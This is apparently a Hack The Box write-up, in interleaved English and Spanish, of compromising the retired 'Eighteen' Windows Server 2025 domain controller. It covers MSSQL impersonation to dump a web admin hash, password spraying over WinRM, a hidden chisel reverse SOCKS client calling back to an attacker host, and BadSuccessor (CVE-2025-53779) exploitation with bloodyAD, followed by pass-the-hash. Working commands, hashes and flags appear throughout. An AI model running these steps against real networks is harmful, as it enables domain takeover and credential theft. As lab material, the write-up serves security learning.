Eighteen
Executive summary — Eighteen is a Windows Server 2025 domain controller (
DC01.eighteen.htb) solved by chaining credential reuse with a cutting-edge Active Directory flaw. Starting from an assumed breach foothold,kevin's domain password turns out to also be his MSSQL login; from there we abuse SQL permissions (IMPERSONATE+ DML) to dump the web app's admin hash, verify it offline, spray it against domain accounts and landadam.scott. The final escalation exploits BadSuccessor (CVE-2025-53779) against a dMSA to steal theAdministratorNTLM hash. Path: MSSQL → web creds → WinRM → BadSuccessor → Root.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.33.24 |
Attack map
[80/HTTP] Financial Planner (Flask behind IIS)
│ probes negative; a pyodbc error leaks the MSSQL backend
▼
[1433/MSSQL] kevin = SQL login (reused domain password)
│ IMPERSONATE appdev → DML over financial_planner → dump the admin hash
▼
[creds] Werkzeug hash verified offline → iloveyou1
│ password spraying over WinRM
▼
[WinRM] adam.scott:iloveyou1 (Pwn3d!) → user.txt · member of IT
│ IT has CreateChild over OU=Staff (Windows 2025 domain)
▼
[BadSuccessor / CVE-2025-53779] chisel SOCKS pivot + bloodyAD --prepatch
│ the dMSA TGT reveals the Administrator NTLM hash
▼
[ROOT] pass-the-hash as Administrator → root.txt
1. Reconnaissance
We start by mapping the attack surface with a full TCP port scan. There's an important speed nuance here:
nmap -p- --min-rate 500 -Pn -n -T3 --max-retries 3 10.129.33.24
Why slow it down: a first scan with
--min-rate 3000produced a false negative on 1433 due to overly aggressive rate-limiting. When the result looks suspiciously thin on a Windows/AD box, it's worth re-scanning slower with more retries before writing off services.
Open ports:
80/tcp open http Microsoft IIS 10.0 (reverse proxy → Flask app "Financial Planner", eighteen.htb)
1433/tcp open ms-sql-s Microsoft SQL Server 2022 RTM (16.0.1000)
5985/tcp open wsman WinRM — host DC01, domain eighteen.htb, Windows Server 2025
Everything else (Kerberos 88, LDAP 389/636/3268, SMB 445, RDP 3389) is firewalled from the outside. DNS over UDP (53) does answer and confirms the SRV records _kerberos._tcp / _ldap._tcp → dc01.eighteen.htb.
Resumen ejecutivo — Eighteen es un controlador de dominio Windows Server 2025 (
DC01.eighteen.htb) que se resuelve encadenando reutilización de credenciales con una vulnerabilidad de Active Directory de última generación. Partiendo de un escenario assumed breach, la contraseña de dominio dekevinresulta ser también su login de MSSQL; desde ahí se abusan permisos SQL (IMPERSONATE+ DML) para volcar el hash del admin de la app web, se rompe/verifica offline, se rocia contra cuentas de dominio y se consigueadam.scott. La escalada final explota BadSuccessor (CVE-2025-53779) sobre una dMSA para robar el hash NTLM deAdministrator. Recorrido MSSQL → Web creds → WinRM → BadSuccessor → Root.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.33.24 |
Mapa del ataque
[80/HTTP] Financial Planner (Flask tras IIS)
│ pruebas negativas; el error de pyodbc filtra el backend MSSQL
▼
[1433/MSSQL] kevin = SQL login (contraseña de dominio reutilizada)
│ IMPERSONATE appdev → DML sobre financial_planner → volcado del hash del admin
▼
[creds] hash Werkzeug verificado offline → iloveyou1
│ password spraying por WinRM
▼
[WinRM] adam.scott:iloveyou1 (Pwn3d!) → user.txt · miembro de IT
│ IT tiene CreateChild sobre OU=Staff (dominio Windows 2025)
▼
[BadSuccessor / CVE-2025-53779] pivote SOCKS con chisel + bloodyAD --prepatch
│ el TGT de la dMSA revela el hash NTLM de Administrator
▼
[ROOT] pass-the-hash como Administrator → root.txt
1. Reconocimiento
Empezamos mapeando la superficie de ataque con un escaneo de todos los puertos TCP. Aquí hay un matiz importante de velocidad:
nmap -p- --min-rate 500 -Pn -n -T3 --max-retries 3 10.129.33.24
Por qué bajar la velocidad: un primer escaneo con
--min-rate 3000dio un falso negativo en el 1433 por rate-limiting demasiado agresivo. Cuando el resultado parece sospechosamente escueto en una máquina Windows/AD, merece la pena repetir más lento y con más reintentos antes de descartar servicios.
Puertos abiertos:
80/tcp open http Microsoft IIS 10.0 (reverse-proxy → app Flask "Financial Planner", eighteen.htb)
1433/tcp open ms-sql-s Microsoft SQL Server 2022 RTM (16.0.1000)
5985/tcp open wsman WinRM — host DC01, dominio eighteen.htb, Windows Server 2025
Todo lo demás (Kerberos 88, LDAP 389/636/3268, SMB 445, RDP 3389) está filtrado por firewall desde el exterior. DNS por UDP (53) sí responde y confirma los registros SRV _kerberos._tcp / _ldap._tcp → dc01.eighteen.htb.
2. Initial access and WinRM check
The challenge provides starting credentials (assumed breach scenario):
kevin : iNa2we6haRj2gaw!
First thing to try is WinRM (5985), the only exposed Windows authentication service:
netexec winrm 10.129.33.24 -u kevin -p 'iNa2we6haRj2gaw!' -d eighteen.htb
It fails — but not because of the password: the server always returns 401, with the right password, a wrong one, or a non-existent user alike. We double-checked with
pywinrm, completing the full NTLM handshake by hand (Type1/Type2/Type3) — the response stayed 401 regardless. That identical behaviour betrays a policy that blocks NTLM (Kerberos-only), not a credential problem. Kerberos (88) is unreachable from outside too: confirmed with a 90-second raw TCP connection attempt and a hand-crafted AS-REQ over UDP, both with no response. Tip: to tell a credential rejection apart from a policy one, compare the result against a clearly non-existent user with the same password — if timing and message are identical, it's almost always a policy restriction.
3. Web enumeration — Financial Planner
Port 80 serves, behind IIS, a Flask app called «Financial Planner». We discover its routes:
/ /features /login /register /dashboard /admin /logout
/update_income /add_expense /update_allocation /delete_expense/<id>
We thoroughly test the usual web catalogue against the full_name, username, email and category fields, all negative: manual SQLi and sqlmap — including --randomize, to dodge the noise from /register's unique-constraint — confirm the queries are consistently parameterised (quotes are preserved literally without breaking SQL syntax); XSS/SSTI shows Jinja2 autoescape on everywhere, even with {{7*7}} and a raw <script> tag in email (which, interestingly, doesn't validate email format at all); mass assignment of is_admin/role is ignored; and IDOR on delete_expense is confirmed but low impact.
Useful finding: registering a duplicate
username/pyodbcerror (unsanitised exception). That confirms two things: the backend is MSSQL, and anadminuser already exists in theuserstable of thefinancial_plannerdatabase. The web isn't the way in, but it pointed us at 1433.
4. The real pivot: direct MSSQL (1433)
The key: kevin is not a domain account for MSSQL but a native SQL Login (SQL Authentication). His domain password was reused as that SQL login's password. We connect as a pure login:
impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@10.129.33.24'
Watch out for
-windows-auth: trying to connect witheighteen.htb/kevin:...and Windows auth fails with «login is from an untrusted domain». You must connect as a SQL login, not a domain account.
kevin is not sysadmin, but he has GRANT IMPERSONATE over the appdev login, and appdev has full DML (SELECT/INSERT/UPDATE/DELETE) over financial_planner — including the users table, which stores password hashes in Werkzeug format:
EXECUTE AS LOGIN = 'appdev';
SELECT username, password_hash FROM financial_planner.dbo.users WHERE username = 'admin';
admin pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
Permission chain: password reuse (domain → SQL login) +
IMPERSONATE+ DML over a table with hashes = reading the app's authentication material. An alternative demonstrated without knowing the real password is to overwrite the hash withUPDATE users SET password_hash='<your hash>' WHERE username='admin'and log into the web panel with a password of your choice.
5. Hash verification and password spraying
The Werkzeug hash (pbkdf2:sha256, 600,000 iterations) is slow to brute-force, but a data point from a reference writeup suggests the admin seed is shared across box instances. We verify it offline:
python3 -c "from werkzeug.security import check_password_hash; print(check_password_hash('pbkdf2:sha256:600000\$AMtzteQIG7yAbZIa\$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133', 'iloveyou1'))"
True
Password confirmed: iloveyou1. Since there's no SMB/LDAP to enumerate users, we build a short candidate list (name.surname) and spray it over WinRM:
netexec winrm 10.129.33.24 -u userlist.txt -p iloveyou1 -d eighteen.htb --continue-on-success
WINRM [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)
The web admin's password is reused on a real domain account too! Reuse across layers (app → AD) is what collapses silos that looked independent.
We get a shell and read the user flag:
evil-winrm -i 10.129.33.24 -u adam.scott -p 'iloveyou1'
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami
eighteen\adam.scott
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami /groups
...
EIGHTEEN\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 ...
*Evil-WinRM* PS C:\Users\adam.scott\Documents> type C:\Users\adam.scott\Desktop\user.txt
2313373a0f3337758df37fe3ac4e8928
Key detail for the escalation: adam.scott belongs to the EIGHTEEN\IT group (CN=IT,OU=Staff,DC=eighteen,DC=htb).
6. Escalation — BadSuccessor (CVE-2025-53779)
What is BadSuccessor? Windows Server 2025 introduces dMSAs (delegated Managed Service Accounts), an evolution of gMSAs meant to migrate service accounts automatically. The msDS-ManagedAccountPrecededByLink attribute means «this account succeeds/inherits from account X». The flaw is that the KDC trusts that link without verifying the migration was authorised by whoever controls the target account: it's enough to be able to create the dMSA object (CreateChild on an OU, with no permission at all over the target account) so that, when requesting a TGT for that dMSA, the KDC includes the «predecessor» account's privileges in the PAC — which can be literally Administrator.
Checking the requirements — dMSAs only exist at the 2025 functional level:
PS> Get-ADDomain | Select Name, DomainMode
Name DomainMode
eighteen Windows2025Domain
PS> Get-ADForest | Select Name, ForestMode
Name ForestMode
eighteen.htb Windows2025Forest
Checking the CreateChild permission: we upload a PowerShell script (equivalent to Akamai's Get-BadSuccessorOUPermissions.ps1) that reviews every OU's ACLs and look for who can create objects:
=== OU=Staff,DC=eighteen,DC=htb ===
NT AUTHORITY\SYSTEM | GenericAll | ObjectType=00000000-... | Inherited=False
EIGHTEEN\Domain Admins | GenericAll | ObjectType=00000000-... | Inherited=False
EIGHTEEN\IT | CreateChild | ObjectType=00000000-0000-0000-0000-000000000000 | Inherited=False
EIGHTEEN\Enterprise Admins | GenericAll | ObjectType=00000000-... | Inherited=True
EIGHTEEN\IThasCreateChildwith no type restriction (ObjectTypeall-zeros = «any object») overOU=Staff. That's the exact, sufficient condition for BadSuccessor. Sinceadam.scottis inIT, he can create a dMSA there.
Cross-check with netexec's official module (detection only, no exploitation):
netexec ldap 10.129.33.24 -u adam.scott -p 'iloveyou1' -d eighteen.htb -M badsuccessor
BADSUCCE... [+] Found 1 results
BADSUCCE... IT (S-1-5-21-1152179935-589108180-1989892463-1604), OU=Staff,DC=eighteen,DC=htb
7. Pivoting with chisel
To exploit BadSuccessor we need LDAP/Kerberos/SMB, but they're still firewalled from outside (though now reachable inside the DC's network). We set up a reverse SOCKS tunnel with chisel through the WinRM session we already have.
Server on Kali (version 1.7.7 to avoid negotiation issues with 1.11.6):
chisel177 server -p 8080 --reverse
We upload the binary to the DC and launch the client from the evil-winrm session:
upload chisel.exe
Start-Process -FilePath "C:\Users\adam.scott\Documents\chisel.exe" -ArgumentList "client <ATTACKER_IP>:8080 R:socks" -WindowStyle Hidden
Start-Sleep -Seconds 600
Why the
Start-Sleep: a process launched withStart-Processfrom PSRemoting dies if the session closes. You must keep the WinRM session alive while the tunnel is in use (hence leaving it «sleeping» in the background). And you must match chisel client/server versions to avoid silent negotiation failures.
We point proxychains at the local SOCKS port the server opens:
[ProxyList]
socks5 127.0.0.1 1080
8. Exploitation with bloodyAD
With the tunnel up, we exploit BadSuccessor by creating a dMSA that succeeds Administrator:
proxychains bloodyAD -d eighteen.htb -u adam.scott -p 'iloveyou1' --host 10.129.33.24 \
add badSuccessor evilDMSA2 --ou "OU=Staff,DC=eighteen,DC=htb" --prepatch
Why
--prepatch: without that flag, bloodyAD also tries to write the back-link (msDS-Superseded*) on theAdministratorobject, which needs permissions we don't have (insufficientAccessRights). With--prepatchit only writes the forward link on the dMSA itself — which is all the vulnerable KDC needs.
bloodyAD creates the evilDMSA2$ object, sets msDS-ManagedAccountPrecededByLink → CN=Administrator and msDS-DelegatedMSAState = 2, automatically requests the dMSA's TGT via the KERB-DMSA-KEY-PACKAGE structure, and prints the keys:
dMSA current keys found in TGS:
AES256: 5ea8e4fd0ebc33e0ed356c7e111923319db2a85c107087777f8d572adb0bdb43
AES128: 30a9d1e45ed645956fe44b6b327e53cc
RC4: ca1f4c36058cc1bbf4142ec0048242d4
dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: 0b133be956bfaddf9cea56701affddec
The RC4 key in the «previous keys» section is literally the NTLM hash of
Administrator:0b133be956bfaddf9cea56701affddec. The «predecessor» account handed over its keys.
9. Pass-the-hash and root.txt
With the Administrator NTLM hash we pass-the-hash, no cleartext password required:
netexec winrm 10.129.33.24 -u Administrator -H 0b133be956bfaddf9cea56701affddec
evil-winrm -i 10.129.33.24 -u Administrator -H 0b133be956bfaddf9cea56701affddec
WINRM [+] eighteen.htb\Administrator:0b133be956bfaddf9cea56701affddec (Pwn3d!)
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
eighteen\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
800981e76bc0bad9d1a4dcbfc1195216
Domain fully compromised. 🏴
Cleanup: with the
Administratorsession we remove the dMSA objects we created (Remove-ADObject ... -Recursive) and the artefacts uploaded to the DC (chisel.exe, the check script, scheduled tasks). Leaving the environment as we found it is part of the job.
Rejected paths
Before landing on the path above, a wide catalogue of alternative routes was tried — and discarded, with evidence. They're worth documenting: they show how much of the surface was actually tested, especially how hard the MSSQL DML access was pushed before confirming the ceiling was there:
| Path tried | Result | Why discarded |
|---|---|---|
Manual SQLi + sqlmap across the whole web app | Negative | Consistently parameterised queries (literal quote preservation verified) |
XSS / SSTI in full_name, category, email | Negative | Jinja2 autoescape active on every tested point |
Mass assignment (is_admin, role) | Negative | INSERT/UPDATE columns are fixed in code; extra fields are ignored |
Direct WinRM with kevin (SQL login) over NTLM | Rejected | kevin as a SQL login is a different identity from real domain accounts, and NTLM is policy-restricted anyway |
| Direct Kerberos (port 88) from outside | Blocked | External firewall; solved later with a post-exploitation SOCKS pivot instead of forcing external connectivity |
Pure MSSQL escalation (xp_cmdshell, CREATE PROCEDURE ... EXECUTE AS OWNER, TRUSTWORTHY chaining, linked servers, OPENROWSET BULK, NTLM capture via xp_dirtree/xp_regread, OLE Automation, BACKUP DATABASE, sp_send_dbmail) | All denied | kevin/appdev aren't sysadmin; the real ceiling is pure DML over financial_planner, with no OS-level escalation path this way |
Password-spraying sa/appdev with variations of kevin's password | Negative | Independent passwords between those logins |
Short brute-force of common passwords against admin (web panel) | Negative | 600,000-iteration PBKDF2 hash; the real password isn't in common lists (needed the external iloveyou1 data point) |
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Enum | MSSQL 1433 | Domain password reused as a SQL login | Authenticated SQL access as kevin |
| DB | MSSQL (IMPERSONATE + DML) | kevin can EXECUTE AS appdev; appdev has full DML over financial_planner | Read the app's Werkzeug hashes |
| Access | Domain accounts / WinRM | Password reuse (web admin ↔ domain account, iloveyou1) | Foothold as adam.scott (user.txt) |
| PrivEsc | AD dMSA (Windows Server 2025) | BadSuccessor (CVE-2025-53779): CreateChild on an OU allows a dMSA that inherits Administrator | Full domain compromise (Administrator NTLM → root.txt) |
Lessons learned
- Credential reuse: the same password in AD, in a SQL login and in the web app's admin was the thread that tied together seemingly separate silos. Segregate identities and their passwords per layer.
- Scan with judgement: a high
--min-ratecan hide services; if the result is suspiciously thin on an AD box, re-scan slower — that's how the 1433 that changed everything showed up. - BadSuccessor (CVE-2025-53779): on Windows Server 2025 domains,
CreateChildwith no type restriction on any OU is enough to reach Domain Admin. Audit who can create objects in your OUs and treat dMSAs as critical material. - Credential vs policy rejection: if the 401 is identical for a valid, invalid and non-existent user, suspect a restriction (NTLM disabled), not your password.
- Pivoting with chisel: keep the session you launched the client from alive, and match client/server versions to avoid silent failures.
- Storing hashes reachable via DML and granting MSSQL
IMPERSONATEare dangerous misconfigurations: they expose the whole application's authentication material. - Check prior public writeups of the same machine: a shared «seed» data point (like a reused admin password across box instances) can save an enormous amount of cracking/brute-force time — worth a quick look before grinding.
2. Acceso inicial y comprobación de WinRM
El reto entrega credenciales de partida (escenario assumed breach):
kevin : iNa2we6haRj2gaw!
Lo primero es probar WinRM (5985), el único servicio de autenticación Windows expuesto:
netexec winrm 10.129.33.24 -u kevin -p 'iNa2we6haRj2gaw!' -d eighteen.htb
Falla — pero no por la contraseña: el servidor devuelve 401 siempre, tanto con la contraseña correcta como con una incorrecta o un usuario inexistente. Lo comprobamos también con
pywinrm, completando a mano el handshake NTLM (Type1/Type2/Type3) — la respuesta siguió siendo 401 en todos los casos. Ese comportamiento idéntico delata una política que bloquea NTLM (Kerberos-only), no un problema de credenciales. Kerberos (88) también resultó inalcanzable desde fuera: confirmado con una conexión TCP directa de 90 segundos y con un AS-REQ Kerberos crafteado a mano por UDP, ambos sin respuesta. Truco: para distinguir un rechazo por credenciales de uno por política, compara el resultado con un usuario claramente inexistente y la misma contraseña — si el timing y el mensaje son idénticos, casi siempre es una restricción de política.
3. Enumeración web — Financial Planner
El puerto 80 sirve, tras IIS, una app Flask llamada «Financial Planner». Descubrimos sus rutas:
/ /features /login /register /dashboard /admin /logout
/update_income /add_expense /update_allocation /delete_expense/<id>
Se prueba a fondo el habitual catálogo web contra los campos full_name, username, email y category, todo negativo: SQLi manual y con sqlmap — incluyendo --randomize, para evitar el ruido del unique-constraint de /register — confirman que las queries están parametrizadas de forma consistente (las comillas se preservan literalmente sin romper la sintaxis SQL); XSS/SSTI muestra el autoescape de Jinja2 activo en todos los puntos, incluso con {{7*7}} y una etiqueta <script> cruda en email (que, por cierto, no valida el formato de email en absoluto); el mass assignment de is_admin/role se ignora; e IDOR en delete_expense se confirma pero de bajo impacto.
Hallazgo útil: registrar un
username/pyodbc(excepción sin sanitizar). Eso confirma dos cosas: el backend es MSSQL y ya existe un usuarioadminen la tablausersde la basefinancial_planner. La web no es el camino, pero nos ha señalado el 1433.
4. Pivote real: MSSQL directo (1433)
La clave: kevin no es una cuenta de dominio para MSSQL, sino un SQL Login nativo (SQL Authentication). Su contraseña de dominio se reutilizó como contraseña de ese login SQL. Conectamos como login puro:
impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@10.129.33.24'
Ojo con
-windows-auth: intentar conectar coneighteen.htb/kevin:...y autenticación Windows falla con «login is from an untrusted domain». Hay que conectar como SQL login, no como cuenta de dominio.
kevin no es sysadmin, pero tiene GRANT IMPERSONATE sobre el login appdev, y appdev tiene DML completo (SELECT/INSERT/UPDATE/DELETE) sobre financial_planner — incluida la tabla users, que guarda los hashes de contraseña en formato Werkzeug:
EXECUTE AS LOGIN = 'appdev';
SELECT username, password_hash FROM financial_planner.dbo.users WHERE username = 'admin';
admin pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
Cadena de permisos: reutilización de contraseña (dominio → SQL login) +
IMPERSONATE+ DML sobre una tabla con hashes = lectura del material de autenticación de la app. Una alternativa demostrada, sin conocer la contraseña real, es sobrescribir el hash conUPDATE users SET password_hash='<hash propio>' WHERE username='admin'y loguearse en el panel web con la contraseña elegida.
5. Verificación del hash y password spraying
El hash Werkzeug (pbkdf2:sha256, 600.000 iteraciones) es lento de romper por fuerza bruta, pero un dato de un writeup de referencia sugiere que la semilla del admin se comparte entre instancias del box. Lo verificamos offline:
python3 -c "from werkzeug.security import check_password_hash; print(check_password_hash('pbkdf2:sha256:600000\$AMtzteQIG7yAbZIa\$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133', 'iloveyou1'))"
True
Contraseña confirmada: iloveyou1. Como no hay SMB/LDAP para enumerar usuarios, construimos una lista corta de candidatos (nombre.apellido) y la rociamos con esa contraseña por WinRM:
netexec winrm 10.129.33.24 -u userlist.txt -p iloveyou1 -d eighteen.htb --continue-on-success
WINRM [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)
¡La contraseña del admin de la web está reutilizada también en una cuenta de dominio real! La reutilización entre capas (app → AD) es lo que colapsa silos que parecían independientes.
Obtenemos shell y leemos la flag de usuario:
evil-winrm -i 10.129.33.24 -u adam.scott -p 'iloveyou1'
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami
eighteen\adam.scott
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami /groups
...
EIGHTEEN\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 ...
*Evil-WinRM* PS C:\Users\adam.scott\Documents> type C:\Users\adam.scott\Desktop\user.txt
2313373a0f3337758df37fe3ac4e8928
Dato clave para la escalada: adam.scott pertenece al grupo EIGHTEEN\IT (CN=IT,OU=Staff,DC=eighteen,DC=htb).
6. Escalada — BadSuccessor (CVE-2025-53779)
¿Qué es BadSuccessor? Windows Server 2025 introduce las dMSA (delegated Managed Service Accounts), una evolución de las gMSA pensada para migrar cuentas de servicio de forma automatizada. El atributo msDS-ManagedAccountPrecededByLink indica «esta cuenta sucede/hereda de la cuenta X». El fallo es que el KDC confía en ese enlace sin verificar que la migración fuese autorizada por quien controla la cuenta objetivo: basta con poder crear el objeto dMSA (permiso CreateChild en una OU, sin ningún permiso sobre la cuenta objetivo) para que, al pedir un TGT para ese dMSA, el KDC incluya en el PAC los privilegios de la cuenta «predecesora» — que puede ser literalmente Administrator.
Verificación de requisitos — las dMSA solo existen en nivel funcional 2025:
PS> Get-ADDomain | Select Name, DomainMode
Name DomainMode
eighteen Windows2025Domain
PS> Get-ADForest | Select Name, ForestMode
Name ForestMode
eighteen.htb Windows2025Forest
Verificación del permiso CreateChild: subimos un script PowerShell (equivalente al Get-BadSuccessorOUPermissions.ps1 de Akamai) que revisa las ACL de todas las OUs y buscamos quién puede crear objetos:
=== OU=Staff,DC=eighteen,DC=htb ===
NT AUTHORITY\SYSTEM | GenericAll | ObjectType=00000000-... | Inherited=False
EIGHTEEN\Domain Admins | GenericAll | ObjectType=00000000-... | Inherited=False
EIGHTEEN\IT | CreateChild | ObjectType=00000000-0000-0000-0000-000000000000 | Inherited=False
EIGHTEEN\Enterprise Admins | GenericAll | ObjectType=00000000-... | Inherited=True
EIGHTEEN\ITtieneCreateChildsin restricción de tipo (ObjectTypetodo-ceros = «cualquier objeto») sobreOU=Staff. Es la condición exacta y suficiente para BadSuccessor. Comoadam.scottestá enIT, puede crear una dMSA ahí.
Confirmación cruzada con el módulo oficial de netexec (solo detección, no explota):
netexec ldap 10.129.33.24 -u adam.scott -p 'iloveyou1' -d eighteen.htb -M badsuccessor
BADSUCCE... [+] Found 1 results
BADSUCCE... IT (S-1-5-21-1152179935-589108180-1989892463-1604), OU=Staff,DC=eighteen,DC=htb
7. Pivoting con chisel
Para explotar BadSuccessor necesitamos LDAP/Kerberos/SMB, pero siguen filtrados desde el exterior (aunque ya son alcanzables dentro de la red del DC). Montamos un túnel SOCKS inverso con chisel a través de la sesión WinRM ya obtenida.
Servidor en Kali (versión 1.7.7 para evitar problemas de negociación con la 1.11.6):
chisel177 server -p 8080 --reverse
Subimos el binario al DC y lanzamos el cliente desde la sesión de evil-winrm:
upload chisel.exe
Start-Process -FilePath "C:\Users\adam.scott\Documents\chisel.exe" -ArgumentList "client <ATTACKER_IP>:8080 R:socks" -WindowStyle Hidden
Start-Sleep -Seconds 600
Por qué el
Start-Sleep: un proceso lanzado conStart-Processdesde PSRemoting muere si la sesión se cierra. Hay que mantener la sesión WinRM viva mientras se usa el túnel (por eso se deja «dormida» en background). Y hay que emparejar versiones de chisel cliente/servidor para evitar fallos de negociación silenciosos.
Apuntamos proxychains al puerto SOCKS local que abre el servidor:
[ProxyList]
socks5 127.0.0.1 1080
8. Explotación con bloodyAD
Con el túnel en pie, explotamos BadSuccessor creando una dMSA que suceda a Administrator:
proxychains bloodyAD -d eighteen.htb -u adam.scott -p 'iloveyou1' --host 10.129.33.24 \
add badSuccessor evilDMSA2 --ou "OU=Staff,DC=eighteen,DC=htb" --prepatch
Por qué
--prepatch: sin ese flag, bloodyAD intenta escribir también el enlace inverso (msDS-Superseded*) en el objetoAdministrator, lo cual requiere permisos que no tenemos (insufficientAccessRights). Con--prepatchsolo escribe el enlace hacia adelante en la propia dMSA — que es todo lo que el KDC vulnerable necesita.
bloodyAD crea el objeto evilDMSA2$, fija msDS-ManagedAccountPrecededByLink → CN=Administrator y msDS-DelegatedMSAState = 2, solicita automáticamente el TGT del dMSA con la estructura KERB-DMSA-KEY-PACKAGE y muestra las claves:
dMSA current keys found in TGS:
AES256: 5ea8e4fd0ebc33e0ed356c7e111923319db2a85c107087777f8d572adb0bdb43
AES128: 30a9d1e45ed645956fe44b6b327e53cc
RC4: ca1f4c36058cc1bbf4142ec0048242d4
dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: 0b133be956bfaddf9cea56701affddec
La clave RC4 de la sección «previous keys» es literalmente el hash NTLM de
Administrator:0b133be956bfaddf9cea56701affddec. La cuenta «predecesora» entregó sus claves.
9. Pass-the-hash y root.txt
Con el NTLM de Administrator hacemos pass-the-hash, sin necesitar la contraseña en claro:
netexec winrm 10.129.33.24 -u Administrator -H 0b133be956bfaddf9cea56701affddec
evil-winrm -i 10.129.33.24 -u Administrator -H 0b133be956bfaddf9cea56701affddec
WINRM [+] eighteen.htb\Administrator:0b133be956bfaddf9cea56701affddec (Pwn3d!)
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
eighteen\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
800981e76bc0bad9d1a4dcbfc1195216
Dominio comprometido por completo. 🏴
Limpieza: con la sesión de
Administratorse eliminan los objetos dMSA creados (Remove-ADObject ... -Recursive) y los artefactos subidos al DC (chisel.exe, el script de comprobación, tareas programadas). Dejar el entorno como estaba es parte del trabajo.
Vías descartadas
Antes de dar con la ruta anterior se probó — y se descartó, con evidencia — un catálogo amplio de vías alternativas. Se documentan porque muestran el alcance real de la superficie probada, en especial cuánto se exprimió el acceso DML de MSSQL antes de confirmar que el techo estaba ahí:
| Vía probada | Resultado | Motivo del descarte |
|---|---|---|
SQLi manual + sqlmap en toda la app web | Negativo | Queries parametrizadas de forma consistente (preservación literal de comillas verificada) |
XSS / SSTI en full_name, category, email | Negativo | Autoescape de Jinja2 activo en todos los puntos probados |
Mass assignment (is_admin, role) | Negativo | Columnas de INSERT/UPDATE fijas en el código; ignora campos extra |
WinRM directo con kevin (SQL login) vía NTLM | Rechazado | kevin como SQL login es una identidad distinta de las cuentas de dominio reales; además NTLM está restringido por política |
| Kerberos directo (puerto 88) desde el exterior | Bloqueado | Firewall externo; resuelto luego con pivote SOCKS post-explotación en vez de forzar la conectividad externa |
Escalada pura vía MSSQL (xp_cmdshell, CREATE PROCEDURE ... EXECUTE AS OWNER, encadenado de TRUSTWORTHY, linked servers, OPENROWSET BULK, captura NTLM vía xp_dirtree/xp_regread, OLE Automation, BACKUP DATABASE, sp_send_dbmail) | Todo denegado | kevin/appdev no son sysadmin; el techo real es DML puro sobre financial_planner, sin ruta de escalada a nivel de sistema operativo por esta vía |
Password-spray de sa/appdev con variaciones de la contraseña de kevin | Negativo | Contraseñas independientes entre esos logins |
Brute-force corto de contraseñas comunes contra admin (panel web) | Negativo | Hash con 600.000 iteraciones PBKDF2; la contraseña real no está en listas comunes (se necesitó el dato externo iloveyou1) |
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Enum | MSSQL 1433 | Contraseña de dominio reutilizada como SQL login | Acceso SQL autenticado como kevin |
| DB | MSSQL (IMPERSONATE + DML) | kevin puede EXECUTE AS appdev; appdev tiene DML total sobre financial_planner | Lectura de los hashes Werkzeug de la app |
| Acceso | Cuentas de dominio / WinRM | Reutilización de contraseña (admin web ↔ cuenta de dominio, iloveyou1) | Foothold como adam.scott (user.txt) |
| PrivEsc | AD dMSA (Windows Server 2025) | BadSuccessor (CVE-2025-53779): CreateChild en una OU permite una dMSA que hereda de Administrator | Compromiso total del dominio (NTLM de Administrator → root.txt) |
Lecciones aprendidas
- Reutilización de credenciales: la misma contraseña en AD, en un SQL login y en el admin de la app fue el hilo que unió silos aparentemente separados. Segrega las identidades y sus contraseñas por capa.
- Escaneo con criterio: un
--min-ratealto puede ocultar servicios; si el resultado es sospechosamente escueto en una máquina AD, repite más lento — así apareció el 1433 que cambió todo. - BadSuccessor (CVE-2025-53779): en dominios Windows Server 2025,
CreateChildsin restricción de tipo sobre cualquier OU basta para llegar a Domain Admin. Audita quién puede crear objetos en tus OUs y trata las dMSA como material crítico. - Rechazo por credenciales vs por política: si el 401 es idéntico con usuario válido, inválido e inexistente, sospecha de una restricción (NTLM deshabilitado), no de tu contraseña.
- Pivoting con chisel: mantén viva la sesión desde la que lanzas el cliente y empareja versiones cliente/servidor para evitar fallos silenciosos.
- Almacenar hashes accesibles por DML y conceder
IMPERSONATEen MSSQL son configuraciones peligrosas: exponen el material de autenticación de toda la aplicación. - Revisa writeups públicos previos de la misma máquina: un dato «semilla» compartido (como una contraseña de admin reutilizada entre instancias del box) puede ahorrar muchísimo tiempo de cracking/fuerza bruta — vale la pena mirarlo antes de ponerte a romper hashes.